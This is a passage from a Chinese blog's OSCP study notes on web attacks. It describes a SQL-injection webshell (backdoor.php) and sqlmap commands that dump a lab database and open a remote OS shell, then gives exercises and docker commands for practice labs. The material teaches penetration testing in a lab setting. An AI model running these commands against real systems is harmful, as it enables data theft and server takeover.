此命令产生错误消息,但这并不一定意味着文件创建不成功。让我们尝试使用 cmd 参数(如 ipconfig)访问新创建的 backdoor.php 页面。
练习
- 利用 SQL 注入以及 MariaDB INTO OUTFILE 函数获取代码执行。
- 将简单的代码执行转变为完整的 shell。
自动化 SQL 注入
我们遵循的 SQL 注入过程可以借助 Kali Linux 中预安装的几个工具实现自动化。其中一个更值得注意的工具是 sqlmap,它可用于识别和利用针对各种数据库引擎的 SQL 注入漏洞。
让我们在示例 Web 应用程序上使用 sqlmap。我们将使用 -u 设置要扫描的 URL,并使用 -p 指定要测试的参数:
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id"Sqlmap 将发出多个请求来探测参数是否易受 SQL 注入攻击。它还尝试确定正在使用的数据库软件,以便可以针对该软件调整攻击。在这种情况下,它发现了四种不同的技术来利用漏洞。它还列出了每种技术的 payload。即使 sqlmap 为我们完成工作,拥有这些示例 payload 也有助于我们理解它是如何利用漏洞的。
我们现在可以使用 sqlmap 自动从数据库中提取数据。我们将再次运行 sqlmap,使用 —dbms 将”MySQL”设置为后端类型,并使用 —dump 转储数据库中所有表的内容。Sqlmap 在 —dbms 标志中支持多个后端数据库,但它不区分 MariaDB 和 MySQL。将”MySQL”设置为足以满足此示例。
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --dump除了在终端窗口中显示内容外,sqlmap 还创建了一个包含转储内容的 CSV 文件。
Sqlmap 有许多其他功能,例如尝试绕过 Web 应用程序防火墙(WAF)的能力,以及执行复杂查询以自动完全接管服务器的能力。例如,使用 os-shell 参数将尝试在目标系统上自动上传和执行远程命令 shell。
我们可以通过使用 —os-shell 运行 sqlmap 在系统上执行 shell 来使用此功能:
kali@kali:~$ sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell一旦 sqlmap 建立了 shell,我们就可以在服务器上运行命令并查看输出,如列表 337 所示。这个 shell 可能有点慢,但它可以提供一个有效的立足点来访问底层服务器。
重要提示: 请注意,OSCP 考试中不允许使用 sqlmap。但是,我们建议在实验室和 Windows 10 实验室机器上进行练习。考虑将其与 Burp 和 Wireshark 等工具结合使用,以捕获工具正在执行的操作,然后尝试手动复制攻击。这通常是一种非常有效的学习技术,不应被忽视。
练习
- 使用 sqlmap 获取数据库的完整转储。
- 使用 sqlmap 获取交互式 shell。
第九章总结
第九章内容提到了很多常见的web漏洞,但是教材上能提到的利用方法只简单描述了原理,没有考虑真实复杂环境下的WAF过滤,系统版本等问题。部分命令已无法再直接利用,推荐自行做专题的练习。
[[upload-Labs 靶场 WP]] [[sqli-labs 靶场合集 WP]] [[DVWA 靶场 WP|DVWA]] [[xss-labs 靶场 WP]]
更推荐用Docker镜像在本地练习更方便查看靶场内部设置,这样你可以直接查看你的上传的木马,注入的语句,在靶机里都是如何运作的,可以直接求证。一键拖取全部镜像命令:
docker run -d --name upload-labs -p 8883:80 c0ny1/upload-labs
docker run -d --name xss-labs -p 8884:80 vulfocus/xss-labs
docker run -d --name sqli-labs -p 8887:80 acgpiano/sqli-labs
docker run -d --name dvwa -p 8888:80 vulnerables/web-dvwaOSCP第十章之后的内容,本博客和公众号不再发布笔记,感兴趣的可以自行报名OSCP学习,或加入泷羽学习群分享交流。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚